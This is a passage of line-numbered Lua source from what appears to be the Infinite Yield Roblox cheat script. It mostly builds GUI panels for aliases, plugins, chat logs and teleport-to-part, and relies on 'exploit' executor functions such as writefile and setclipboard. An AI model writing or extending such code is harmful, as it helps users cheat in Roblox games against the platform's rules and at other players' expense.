  1390. Delete_6.Position = UDim2.new(0, 200, 0, 0)
  1391. Delete_6.Size = UDim2.new(0, 40, 0, 20)
  1392. Delete_6.Font = Enum.Font.SourceSans
  1393. Delete_6.TextSize = 14
  1394. Delete_6.Text = "Delete"
  1395. Delete_6.TextColor3 = Color3.new(0, 0, 0)
  1396. Delete_6.ZIndex = 10
  1397. table.insert(shade3,Delete_6)
  1398. table.insert(text2,Delete_6)
  1399.  
  1400. TP.Name = "TP"
  1401. TP.Parent = Text_5
  1402. TP.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1403. TP.BorderSizePixel = 0
  1404. TP.Position = UDim2.new(0, 155, 0, 0)
  1405. TP.Size = UDim2.new(0, 40, 0, 20)
  1406. TP.Font = Enum.Font.SourceSans
  1407. TP.TextSize = 14
  1408. TP.Text = "Goto"
  1409. TP.TextColor3 = Color3.new(0, 0, 0)
  1410. TP.ZIndex = 10
  1411. table.insert(shade3,TP)
  1412. table.insert(text2,TP)
  1413.  
  1414. AliasesFrame.Name = "AliasesFrame"
  1415. AliasesFrame.Parent = Settings
  1416. AliasesFrame.Active = true
  1417. AliasesFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1418. AliasesFrame.BorderSizePixel = 0
  1419. AliasesFrame.Position = UDim2.new(0, 0, 0, 175)
  1420. AliasesFrame.Size = UDim2.new(0, 250, 0, 175)
  1421. AliasesFrame.ZIndex = 10
  1422. table.insert(shade1,AliasesFrame)
  1423.  
  1424. Close_2.Name = "Close"
  1425. Close_2.Parent = AliasesFrame
  1426. Close_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1427. Close_2.BorderSizePixel = 0
  1428. Close_2.Position = UDim2.new(0, 205, 0, 150)
  1429. Close_2.Size = UDim2.new(0, 40, 0, 20)
  1430. Close_2.Font = Enum.Font.SourceSans
  1431. Close_2.TextSize = 14
  1432. Close_2.Text = "Close"
  1433. Close_2.TextColor3 = Color3.new(1, 1, 1)
  1434. Close_2.ZIndex = 10
  1435. table.insert(shade2,Close_2)
  1436. table.insert(text1,Close_2)
  1437.  
  1438. Delete_3.Name = "Delete"
  1439. Delete_3.Parent = AliasesFrame
  1440. Delete_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1441. Delete_3.BorderSizePixel = 0
  1442. Delete_3.Position = UDim2.new(0, 5, 0, 150)
  1443. Delete_3.Size = UDim2.new(0, 40, 0, 20)
  1444. Delete_3.Font = Enum.Font.SourceSans
  1445. Delete_3.TextSize = 14
  1446. Delete_3.Text = "Clear"
  1447. Delete_3.TextColor3 = Color3.new(1, 1, 1)
  1448. Delete_3.ZIndex = 10
  1449. table.insert(shade2,Delete_3)
  1450. table.insert(text1,Delete_3)
  1451.  
  1452. Holder_3.Name = "Holder"
  1453. Holder_3.Parent = AliasesFrame
  1454. Holder_3.BackgroundTransparency = 1
  1455. Holder_3.BorderSizePixel = 0
  1456. Holder_3.Position = UDim2.new(0, 0, 0, 0)
  1457. Holder_3.Size = UDim2.new(0, 250, 0, 145)
  1458. Holder_3.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1459. Holder_3.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1460. Holder_3.CanvasSize = UDim2.new(0, 0, 0, 0)
  1461. Holder_3.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1462. Holder_3.ScrollBarThickness = 0
  1463. Holder_3.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1464. Holder_3.VerticalScrollBarInset = 'Always'
  1465. Holder_3.ZIndex = 10
  1466.  
  1467. Example_3.Name = "Example"
  1468. Example_3.Parent = AliasesFrame
  1469. Example_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1470. Example_3.BorderSizePixel = 0
  1471. Example_3.Size = UDim2.new(0, 10, 0, 20)
  1472. Example_3.Visible = false
  1473. Example_3.ZIndex = 10
  1474. table.insert(shade2,Example_3)
  1475.  
  1476. Text_4.Name = "Text"
  1477. Text_4.Parent = Example_3
  1478. Text_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1479. Text_4.BorderSizePixel = 0
  1480. Text_4.Position = UDim2.new(0, 10, 0, 0)
  1481. Text_4.Size = UDim2.new(0, 240, 0, 20)
  1482. Text_4.Font = Enum.Font.SourceSans
  1483. Text_4.TextSize = 14
  1484. Text_4.Text = "honk"
  1485. Text_4.TextColor3 = Color3.new(1, 1, 1)
  1486. Text_4.TextXAlignment = Enum.TextXAlignment.Left
  1487. Text_4.ZIndex = 10
  1488. table.insert(shade2,Text_4)
  1489. table.insert(text1,Text_4)
  1490.  
  1491. Delete_4.Name = "Delete"
  1492. Delete_4.Parent = Text_4
  1493. Delete_4.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1494. Delete_4.BorderSizePixel = 0
  1495. Delete_4.Position = UDim2.new(0, 200, 0, 0)
  1496. Delete_4.Size = UDim2.new(0, 40, 0, 20)
  1497. Delete_4.Font = Enum.Font.SourceSans
  1498. Delete_4.TextSize = 14
  1499. Delete_4.Text = "Delete"
  1500. Delete_4.TextColor3 = Color3.new(0, 0, 0)
  1501. Delete_4.ZIndex = 10
  1502. table.insert(shade3,Delete_4)
  1503. table.insert(text2,Delete_4)
  1504.  
  1505. PluginsFrame.Name = "PluginsFrame"
  1506. PluginsFrame.Parent = Settings
  1507. PluginsFrame.Active = true
  1508. PluginsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1509. PluginsFrame.BorderSizePixel = 0
  1510. PluginsFrame.Position = UDim2.new(0, 0, 0, 175)
  1511. PluginsFrame.Size = UDim2.new(0, 250, 0, 175)
  1512. PluginsFrame.ZIndex = 10
  1513. table.insert(shade1,PluginsFrame)
  1514.  
  1515. Close_4.Name = "Close"
  1516. Close_4.Parent = PluginsFrame
  1517. Close_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1518. Close_4.BorderSizePixel = 0
  1519. Close_4.Position = UDim2.new(0, 205, 0, 150)
  1520. Close_4.Size = UDim2.new(0, 40, 0, 20)
  1521. Close_4.Font = Enum.Font.SourceSans
  1522. Close_4.TextSize = 14
  1523. Close_4.Text = "Close"
  1524. Close_4.TextColor3 = Color3.new(1, 1, 1)
  1525. Close_4.ZIndex = 10
  1526. table.insert(shade2,Close_4)
  1527. table.insert(text1,Close_4)
  1528.  
  1529. Add_3.Name = "Add"
  1530. Add_3.Parent = PluginsFrame
  1531. Add_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1532. Add_3.BorderSizePixel = 0
  1533. Add_3.Position = UDim2.new(0, 5, 0, 150)
  1534. Add_3.Size = UDim2.new(0, 40, 0, 20)
  1535. Add_3.Font = Enum.Font.SourceSans
  1536. Add_3.TextSize = 14
  1537. Add_3.Text = "Add"
  1538. Add_3.TextColor3 = Color3.new(1, 1, 1)
  1539. Add_3.ZIndex = 10
  1540. table.insert(shade2,Add_3)
  1541. table.insert(text1,Add_3)
  1542.  
  1543. Holder_5.Name = "Holder"
  1544. Holder_5.Parent = PluginsFrame
  1545. Holder_5.BackgroundTransparency = 1
  1546. Holder_5.BorderSizePixel = 0
  1547. Holder_5.Position = UDim2.new(0, 0, 0, 0)
  1548. Holder_5.Selectable = false
  1549. Holder_5.Size = UDim2.new(0, 250, 0, 145)
  1550. Holder_5.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1551. Holder_5.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1552. Holder_5.CanvasSize = UDim2.new(0, 0, 0, 0)
  1553. Holder_5.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1554. Holder_5.ScrollBarThickness = 0
  1555. Holder_5.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1556. Holder_5.VerticalScrollBarInset = 'Always'
  1557. Holder_5.ZIndex = 10
  1558.  
  1559. Example_5.Name = "Example"
  1560. Example_5.Parent = PluginsFrame
  1561. Example_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1562. Example_5.BorderSizePixel = 0
  1563. Example_5.Size = UDim2.new(0, 10, 0, 20)
  1564. Example_5.Visible = false
  1565. Example_5.ZIndex = 10
  1566. table.insert(shade2,Example_5)
  1567.  
  1568. Text_6.Name = "Text"
  1569. Text_6.Parent = Example_5
  1570. Text_6.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1571. Text_6.BorderSizePixel = 0
  1572. Text_6.Position = UDim2.new(0, 10, 0, 0)
  1573. Text_6.Size = UDim2.new(0, 240, 0, 20)
  1574. Text_6.Font = Enum.Font.SourceSans
  1575. Text_6.TextSize = 14
  1576. Text_6.Text = "F4 > Toggle Fly"
  1577. Text_6.TextColor3 = Color3.new(1, 1, 1)
  1578. Text_6.TextXAlignment = Enum.TextXAlignment.Left
  1579. Text_6.ZIndex = 10
  1580. table.insert(shade2,Text_6)
  1581. table.insert(text1,Text_6)
  1582.  
  1583. Delete_7.Name = "Delete"
  1584. Delete_7.Parent = Text_6
  1585. Delete_7.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1586. Delete_7.BorderSizePixel = 0
  1587. Delete_7.Position = UDim2.new(0, 200, 0, 0)
  1588. Delete_7.Size = UDim2.new(0, 40, 0, 20)
  1589. Delete_7.Font = Enum.Font.SourceSans
  1590. Delete_7.TextSize = 14
  1591. Delete_7.Text = "Delete"
  1592. Delete_7.TextColor3 = Color3.new(0, 0, 0)
  1593. Delete_7.ZIndex = 10
  1594. table.insert(shade3,Delete_7)
  1595. table.insert(text2,Delete_7)
  1596.  
  1597. PluginEditor.Name = randomString()
  1598. PluginEditor.Parent = PARENT
  1599. PluginEditor.BorderSizePixel = 0
  1600. PluginEditor.Active = true
  1601. PluginEditor.BackgroundTransparency = 1
  1602. PluginEditor.Position = UDim2.new(0.5, -180, 0, -400)
  1603. PluginEditor.Size = UDim2.new(0, 360, 0, 20)
  1604. PluginEditor.ZIndex = 10
  1605.  
  1606. background_3.Name = "background"
  1607. background_3.Parent = PluginEditor
  1608. background_3.Active = true
  1609. background_3.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1610. background_3.BorderSizePixel = 0
  1611. background_3.Position = UDim2.new(0, 0, 0, 20)
  1612. background_3.Size = UDim2.new(0, 360, 0, 160)
  1613. background_3.ZIndex = 10
  1614. table.insert(shade1,background_3)
  1615.  
  1616. Dark_9.Name = "Dark"
  1617. Dark_9.Parent = background_3
  1618. Dark_9.Active = true
  1619. Dark_9.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1620. Dark_9.BackgroundTransparency = 0
  1621. Dark_9.BorderSizePixel = 0
  1622. Dark_9.Position = UDim2.new(0, 222, 0, 0)
  1623. Dark_9.Size = UDim2.new(0, 2, 0, 160)
  1624. Dark_9.ZIndex = 10
  1625. table.insert(shade2,Dark_9)
  1626.  
  1627. Img.Name = "Img"
  1628. Img.Parent = background_3
  1629. Img.BackgroundTransparency = 1
  1630. Img.Position = UDim2.new(0, 242, 0, 3)
  1631. Img.Size = UDim2.new(0, 100, 0, 95)
  1632. Img.Image = "rbxassetid://4113050383"
  1633. Img.ZIndex = 10
  1634.  
  1635. AddPlugin.Name = "AddPlugin"
  1636. AddPlugin.Parent = background_3
  1637. AddPlugin.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1638. AddPlugin.BorderSizePixel = 0
  1639. AddPlugin.Position = UDim2.new(0, 235, 0, 100)
  1640. AddPlugin.Size = UDim2.new(0, 115, 0, 50)
  1641. AddPlugin.Font = Enum.Font.SourceSans
  1642. AddPlugin.TextSize = 14
  1643. AddPlugin.Text = "Add Plugin"
  1644. AddPlugin.TextColor3 = Color3.new(1, 1, 1)
  1645. AddPlugin.ZIndex = 10
  1646. table.insert(shade2,AddPlugin)
  1647. table.insert(text1,AddPlugin)
  1648.  
  1649. FileName.Name = "FileName"
  1650. FileName.Parent = background_3
  1651. FileName.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1652. FileName.BorderSizePixel = 0
  1653. FileName.Position = UDim2.new(0.028, 0, 0.625, 0)
  1654. FileName.Size = UDim2.new(0, 200, 0, 50)
  1655. FileName.Font = Enum.Font.SourceSans
  1656. FileName.TextSize = 14
  1657. FileName.Text = "Plugin File Name"
  1658. FileName.TextColor3 = Color3.new(1, 1, 1)
  1659. FileName.ZIndex = 10
  1660. table.insert(shade2,FileName)
  1661. table.insert(text1,FileName)
  1662.  
  1663. About.Name = "About"
  1664. About.Parent = background_3
  1665. About.BackgroundTransparency = 1
  1666. About.BorderSizePixel = 0
  1667. About.Position = UDim2.new(0, 17, 0, 10)
  1668. About.Size = UDim2.new(0, 187, 0, 49)
  1669. About.Font = Enum.Font.SourceSans
  1670. About.TextSize = 14
  1671. About.Text = "Plugins are .iy files and should be located in the 'workspace' folder of your exploit."
  1672. About.TextColor3 = Color3.fromRGB(255, 255, 255)
  1673. About.TextWrapped = true
  1674. About.TextYAlignment = Enum.TextYAlignment.Top
  1675. About.ZIndex = 10
  1676. table.insert(text1,About)
  1677.  
  1678. Directions_2.Name = "Directions"
  1679. Directions_2.Parent = background_3
  1680. Directions_2.BackgroundTransparency = 1
  1681. Directions_2.BorderSizePixel = 0
  1682. Directions_2.Position = UDim2.new(0, 17, 0, 60)
  1683. Directions_2.Size = UDim2.new(0, 187, 0, 49)
  1684. Directions_2.Font = Enum.Font.SourceSans
  1685. Directions_2.TextSize = 14
  1686. Directions_2.Text = "Type the name of the plugin file you want to add below."
  1687. Directions_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  1688. Directions_2.TextWrapped = true
  1689. Directions_2.TextYAlignment = Enum.TextYAlignment.Top
  1690. Directions_2.ZIndex = 10
  1691. table.insert(text1,Directions_2)
  1692.  
  1693. shadow_3.Name = "shadow"
  1694. shadow_3.Parent = PluginEditor
  1695. shadow_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1696. shadow_3.BorderSizePixel = 0
  1697. shadow_3.Size = UDim2.new(0, 360, 0, 20)
  1698. shadow_3.ZIndex = 10
  1699. table.insert(shade2,shadow_3)
  1700.  
  1701. PopupText_3.Name = "PopupText"
  1702. PopupText_3.Parent = shadow_3
  1703. PopupText_3.BackgroundTransparency = 1
  1704. PopupText_3.Position = UDim2.new(0, 51, 0, 0)
  1705. PopupText_3.Size = UDim2.new(0.76, -16, 0.95, 0)
  1706. PopupText_3.ZIndex = 10
  1707. PopupText_3.Font = Enum.Font.SourceSans
  1708. PopupText_3.TextSize = 14
  1709. PopupText_3.Text = "Add Plugins"
  1710. PopupText_3.TextColor3 = Color3.new(1, 1, 1)
  1711. PopupText_3.TextWrapped = true
  1712. table.insert(text1,PopupText_3)
  1713.  
  1714. Exit_3.Name = "Exit"
  1715. Exit_3.Parent = shadow_3
  1716. Exit_3.BackgroundTransparency = 1
  1717. Exit_3.Size = UDim2.new(0, 20, 0, 20)
  1718. Exit_3.ZIndex = 10
  1719. Exit_3.Image = "rbxassetid://2132544126"
  1720.  
  1721. logsDrag.Name = randomString()
  1722. logsDrag.Parent = PARENT
  1723. logsDrag.Active = true
  1724. logsDrag.BackgroundTransparency = 1
  1725. logsDrag.Position = UDim2.new(0, 0, 1, 10)
  1726. logsDrag.Size = UDim2.new(0, 338, 0, 20)
  1727. logsDrag.ZIndex = 10
  1728.  
  1729. shadow.Name = "shadow"
  1730. shadow.Parent = logsDrag
  1731. shadow.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1732. shadow.BorderSizePixel = 0
  1733. shadow.Position = UDim2.new(0, 0, 0.01, 0)
  1734. shadow.Size = UDim2.new(0, 338, 0, 20)
  1735. shadow.ZIndex = 10
  1736. table.insert(shade2,shadow)
  1737.  
  1738. Hide.Name = "Hide"
  1739. Hide.Parent = shadow
  1740. Hide.BackgroundTransparency = 1
  1741. Hide.Position = UDim2.new(0, 20, 0, 0)
  1742. Hide.Size = UDim2.new(0, 20, 0, 20)
  1743. Hide.ZIndex = 10
  1744. Hide.Image = "rbxassetid://2406617031"
  1745. Hide.ImageTransparency = 0.5
  1746.  
  1747. PopupText.Name = "PopupText"
  1748. PopupText.Parent = shadow
  1749. PopupText.BackgroundTransparency = 1
  1750. PopupText.Position = UDim2.new(0, 48, 0, 0)
  1751. PopupText.Size = UDim2.new(0.76, -16, 0.95, 0)
  1752. PopupText.ZIndex = 10
  1753. PopupText.Font = Enum.Font.SourceSans
  1754. PopupText.TextSize = 14
  1755. PopupText.Text = "Chat Logs"
  1756. PopupText.TextColor3 = Color3.new(1, 1, 1)
  1757. PopupText.TextWrapped = true
  1758. table.insert(text1,PopupText)
  1759.  
  1760. Exit.Name = "Exit"
  1761. Exit.Parent = shadow
  1762. Exit.BackgroundTransparency = 1
  1763. Exit.Size = UDim2.new(0, 20, 0, 20)
  1764. Exit.ZIndex = 10
  1765. Exit.Image = "rbxassetid://2132544126"
  1766.  
  1767. background.Name = "background"
  1768. background.Parent = logsDrag
  1769. background.Active = true
  1770. background.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1771. background.BorderSizePixel = 0
  1772. background.Position = UDim2.new(0, 0, 1, 0)
  1773. background.Size = UDim2.new(0, 338, 0, 225)
  1774. background.ZIndex = 10
  1775. table.insert(shade1,background)
  1776.  
  1777. Clear.Name = "Clear"
  1778. Clear.Parent = background
  1779. Clear.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1780. Clear.BorderSizePixel = 0
  1781. Clear.Position = UDim2.new(0, 5, 0, 200)
  1782. Clear.Size = UDim2.new(0, 50, 0, 20)
  1783. Clear.ZIndex = 10
  1784. Clear.Font = Enum.Font.SourceSans
  1785. Clear.TextSize = 14
  1786. Clear.Text = "Clear"
  1787. Clear.TextColor3 = Color3.new(1, 1, 1)
  1788. table.insert(shade2,Clear)
  1789. table.insert(text1,Clear)
  1790.  
  1791. Toggle.Name = "Toggle"
  1792. Toggle.Parent = background
  1793. Toggle.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1794. Toggle.BorderSizePixel = 0
  1795. Toggle.Position = UDim2.new(0, 60, 0, 200)
  1796. Toggle.Size = UDim2.new(0, 66, 0, 20)
  1797. Toggle.ZIndex = 10
  1798. Toggle.Font = Enum.Font.SourceSans
  1799. Toggle.TextSize = 14
  1800. Toggle.Text = "Disabled"
  1801. Toggle.TextColor3 = Color3.new(1, 1, 1)
  1802. table.insert(shade2,Toggle)
  1803. table.insert(text1,Toggle)
  1804.  
  1805. SaveChatlogs.Name = "SaveChatlogs"
  1806. SaveChatlogs.Parent = background
  1807. SaveChatlogs.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1808. SaveChatlogs.BorderSizePixel = 0
  1809. SaveChatlogs.Position = UDim2.new(0, 258, 0, 200)
  1810. SaveChatlogs.Size = UDim2.new(0, 75, 0, 20)
  1811. SaveChatlogs.ZIndex = 10
  1812. SaveChatlogs.Font = Enum.Font.SourceSans
  1813. SaveChatlogs.TextSize = 14
  1814. SaveChatlogs.Text = "Save To .txt"
  1815. SaveChatlogs.TextColor3 = Color3.new(1, 1, 1)
  1816. table.insert(shade2,SaveChatlogs)
  1817. table.insert(text1,SaveChatlogs)
  1818.  
  1819. scrollCL.Name = "scroll"
  1820. scrollCL.Parent = logsDrag
  1821. scrollCL.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1822. scrollCL.BorderSizePixel = 0
  1823. scrollCL.Position = UDim2.new(0, 5, 0, 25)
  1824. scrollCL.Size = UDim2.new(0, 328, 0, 190)
  1825. scrollCL.ZIndex = 10
  1826. scrollCL.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1827. scrollCL.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1828. scrollCL.CanvasSize = UDim2.new(0, 0, 0, 10)
  1829. scrollCL.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1830. scrollCL.ScrollBarThickness = 8
  1831. scrollCL.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1832. scrollCL.VerticalScrollBarInset = 'Always'
  1833. table.insert(scroll,scrollCL)
  1834. table.insert(shade2,scrollCL)
  1835.  
  1836. AliasHint.Name = "AliasHint"
  1837. AliasHint.Parent = AliasesFrame
  1838. AliasHint.BackgroundTransparency = 1
  1839. AliasHint.BorderSizePixel = 0
  1840. AliasHint.Position = UDim2.new(0, 25, 0, 40)
  1841. AliasHint.Size = UDim2.new(0, 200, 0, 50)
  1842. AliasHint.Font = Enum.Font.SourceSansItalic
  1843. AliasHint.TextSize = 16
  1844. AliasHint.Text = "Add aliases by using the 'addalias' command"
  1845. AliasHint.TextColor3 = Color3.new(1, 1, 1)
  1846. AliasHint.TextStrokeColor3 = Color3.new(1, 1, 1)
  1847. AliasHint.TextWrapped = true
  1848. AliasHint.ZIndex = 10
  1849. table.insert(text1,AliasHint)
  1850.  
  1851. PluginsHint.Name = "PluginsHint"
  1852. PluginsHint.Parent = PluginsFrame
  1853. PluginsHint.BackgroundTransparency = 1
  1854. PluginsHint.BorderSizePixel = 0
  1855. PluginsHint.Position = UDim2.new(0, 25, 0, 40)
  1856. PluginsHint.Size = UDim2.new(0, 200, 0, 50)
  1857. PluginsHint.Font = Enum.Font.SourceSansItalic
  1858. PluginsHint.TextSize = 16
  1859. PluginsHint.Text = "Download plugins from the IY Discord (discord.io/infiniteyield)"
  1860. PluginsHint.TextColor3 = Color3.new(1, 1, 1)
  1861. PluginsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
  1862. PluginsHint.TextWrapped = true
  1863. PluginsHint.ZIndex = 10
  1864. table.insert(text1,PluginsHint)
  1865.  
  1866. PositionsHint.Name = "PositionsHint"
  1867. PositionsHint.Parent = PositionsFrame
  1868. PositionsHint.BackgroundTransparency = 1
  1869. PositionsHint.BorderSizePixel = 0
  1870. PositionsHint.Position = UDim2.new(0, 25, 0, 40)
  1871. PositionsHint.Size = UDim2.new(0, 200, 0, 70)
  1872. PositionsHint.Font = Enum.Font.SourceSansItalic
  1873. PositionsHint.TextSize = 16
  1874. PositionsHint.Text = "Use the 'spos' or 'setwaypoint' command to add a position using your character (NOTE: Part teleports will not save)"
  1875. PositionsHint.TextColor3 = Color3.new(1, 1, 1)
  1876. PositionsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
  1877. PositionsHint.TextWrapped = true
  1878. PositionsHint.ZIndex = 10
  1879. table.insert(text1,PositionsHint)
  1880.  
  1881. ToPartFrame.Name = randomString()
  1882. ToPartFrame.Parent = PARENT
  1883. ToPartFrame.Active = true
  1884. ToPartFrame.BackgroundTransparency = 1
  1885. ToPartFrame.Position = UDim2.new(0.5, -180, 0, -400)
  1886. ToPartFrame.Size = UDim2.new(0, 360, 0, 20)
  1887. ToPartFrame.ZIndex = 10
  1888.  
  1889. background_5.Name = "background"
  1890. background_5.Parent = ToPartFrame
  1891. background_5.Active = true
  1892. background_5.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1893. background_5.BorderSizePixel = 0
  1894. background_5.Position = UDim2.new(0, 0, 0, 20)
  1895. background_5.Size = UDim2.new(0, 360, 0, 117)
  1896. background_5.ZIndex = 10
  1897. table.insert(shade1,background_5)
  1898.  
  1899. ChoosePart.Name = "ChoosePart"
  1900. ChoosePart.Parent = background_5
  1901. ChoosePart.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1902. ChoosePart.BorderSizePixel = 0
  1903. ChoosePart.Position = UDim2.new(0, 100, 0, 55)
  1904. ChoosePart.Size = UDim2.new(0, 75, 0, 30)
  1905. ChoosePart.Font = Enum.Font.SourceSans
  1906. ChoosePart.TextSize = 14
  1907. ChoosePart.Text = "Select Part"
  1908. ChoosePart.TextColor3 = Color3.new(1, 1, 1)
  1909. ChoosePart.ZIndex = 10
  1910. table.insert(shade2,ChoosePart)
  1911. table.insert(text1,ChoosePart)
  1912.  
  1913. CopyPath.Name = "CopyPath"
  1914. CopyPath.Parent = background_5
  1915. CopyPath.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1916. CopyPath.BorderSizePixel = 0
  1917. CopyPath.Position = UDim2.new(0, 185, 0, 55)
  1918. CopyPath.Size = UDim2.new(0, 75, 0, 30)
  1919. CopyPath.Font = Enum.Font.SourceSans
  1920. CopyPath.TextSize = 14
  1921. CopyPath.Text = "Copy Path"
  1922. CopyPath.TextColor3 = Color3.new(1, 1, 1)
  1923. CopyPath.ZIndex = 10
  1924. table.insert(shade2,CopyPath)
  1925. table.insert(text1,CopyPath)
  1926.  
  1927. Directions_4.Name = "Directions"
  1928. Directions_4.Parent = background_5
  1929. Directions_4.BackgroundTransparency = 1
  1930. Directions_4.BorderSizePixel = 0
  1931. Directions_4.Position = UDim2.new(0, 51, 0, 17)
  1932. Directions_4.Size = UDim2.new(0, 257, 0, 32)
  1933. Directions_4.Font = Enum.Font.SourceSans
  1934. Directions_4.TextSize = 14
  1935. Directions_4.Text = 'Click on a part and then click the "Select Part" button below to set it as a teleport location'
  1936. Directions_4.TextColor3 = Color3.new(1, 1, 1)
  1937. Directions_4.TextWrapped = true
  1938. Directions_4.TextYAlignment = Enum.TextYAlignment.Top
  1939. Directions_4.ZIndex = 10
  1940. table.insert(text1,Directions_4)
  1941.  
  1942. Path.Name = "Path"
  1943. Path.Parent = background_5
  1944. Path.BackgroundTransparency = 1
  1945. Path.BorderSizePixel = 0
  1946. Path.Position = UDim2.new(0, 0, 0, 94)
  1947. Path.Size = UDim2.new(0, 360, 0, 16)
  1948. Path.Font = Enum.Font.SourceSansItalic
  1949. Path.TextSize = 14
  1950. Path.Text = ""
  1951. Path.TextColor3 = Color3.new(1, 1, 1)
  1952. Path.TextScaled = true
  1953. Path.TextWrapped = true
  1954. Path.TextYAlignment = Enum.TextYAlignment.Top
  1955. Path.ZIndex = 10
  1956. table.insert(text1,Path)
  1957.  
  1958. shadow_5.Name = "shadow"
  1959. shadow_5.Parent = ToPartFrame
  1960. shadow_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1961. shadow_5.BorderSizePixel = 0
  1962. shadow_5.Size = UDim2.new(0, 360, 0, 20)
  1963. shadow_5.ZIndex = 10
  1964. table.insert(shade2,shadow_5)
  1965.  
  1966. PopupText_5.Name = "PopupText"
  1967. PopupText_5.Parent = shadow_5
  1968. PopupText_5.BackgroundTransparency = 1
  1969. PopupText_5.Position = UDim2.new(0, 51, 0, 0)
  1970. PopupText_5.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  1971. PopupText_5.ZIndex = 10
  1972. PopupText_5.Font = Enum.Font.SourceSans
  1973. PopupText_5.TextSize = 14
  1974. PopupText_5.Text = "Teleport to Part"
  1975. PopupText_5.TextColor3 = Color3.new(1, 1, 1)
  1976. PopupText_5.TextWrapped = true
  1977. table.insert(text1,PopupText_5)
  1978.  
  1979. Exit_5.Name = "Exit"
  1980. Exit_5.Parent = shadow_5
  1981. Exit_5.BackgroundTransparency = 1
  1982. Exit_5.Size = UDim2.new(0, 20, 0, 20)
  1983. Exit_5.ZIndex = 10
  1984. Exit_5.Image = "rbxassetid://2132544126"
  1985.  
  1986. function writefileExploit()
  1987. if writefile then
  1988. return true
  1989. end
  1990. end
  1991.  
  1992. function isNumber(str)
  1993. return tonumber(str) ~= nil
  1994. end
  1995.  
  1996. function tools(plr)
  1997. if plr.Backpack:FindFirstChildOfClass('Tool') or plr.Character:FindFirstChildOfClass('Tool') then
  1998. return true
  1999. end
  2000. end
  2001.  
  2002. function r15(plr)
  2003. if plr.Character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then
  2004. return true
  2005. end
  2006. end
  2007.  
  2008. function toClipboard(String)
  2009. if not pcall(function() CB = setclipboard or Clipboard.set CB(String) notify('Clipboard','Copied to clipboard') end) then
  2010. notify('Clipboard',"Your exploit doesn't have the ability to use the clipboard")
  2011. end
  2012. end
  2013.  
  2014. function getHierarchy(obj)
  2015. local fullname
  2016. local period
  2017.  
  2018. if string.find(obj.Name,' ') then
  2019. fullname = '["'..obj.Name..'"]'
  2020. period = false
  2021. else
  2022. fullname = obj.Name
  2023. period = true
  2024. end
  2025.  
  2026. local getS = obj
  2027. local parent = obj
  2028. local service = ''
  2029.  
  2030. if getS.Parent ~= game then
  2031. repeat
  2032. getS = getS.Parent
  2033. service = getS.ClassName
  2034. until getS.Parent == game
  2035. end
  2036.  
  2037. if parent.Parent ~= getS then
  2038. repeat
  2039. parent = parent.Parent
  2040. if string.find(tostring(parent),' ') then
  2041. if period then
  2042. fullname = '["'..parent.Name..'"].'..fullname
  2043. else
  2044. fullname = '["'..parent.Name..'"]'..fullname
  2045. end
  2046. period = false
  2047. else
  2048. if period then
  2049. fullname = parent.Name..'.'..fullname
  2050. else
  2051. fullname = parent.Name..''..fullname
  2052. end
  2053. period = true
  2054. end
  2055. until parent.Parent == getS
  2056. elseif string.find(tostring(parent),' ') then
  2057. fullname = '["'..parent.Name..'"]'
  2058. period = false
  2059. end
  2060.  
  2061. if period then
  2062. return 'game:GetService("'..service..'").'..fullname
  2063. else
  2064. return 'game:GetService("'..service..'")'..fullname
  2065. end
  2066. end
  2067.  
  2068. AllWaypoints = {}
  2069.  
  2070. cooldown = false
  2071. function writefileCooldown(name,data)
  2072. spawn(function()
  2073. if not cooldown then
  2074. cooldown = true
  2075. writefile(name, data)
  2076. else
  2077. repeat wait() until cooldown == false
  2078. writefileCooldown(name,data)
  2079. end
  2080. wait(3)
  2081. cooldown = false
  2082. end)
  2083. end
  2084.  
  2085. currentShade1 = Color3.fromRGB(36, 36, 37)
  2086. currentShade2 = Color3.fromRGB(46, 46, 47)
  2087. currentShade3 = Color3.fromRGB(78, 78, 79)
  2088. currentText1 = Color3.new(1, 1, 1)
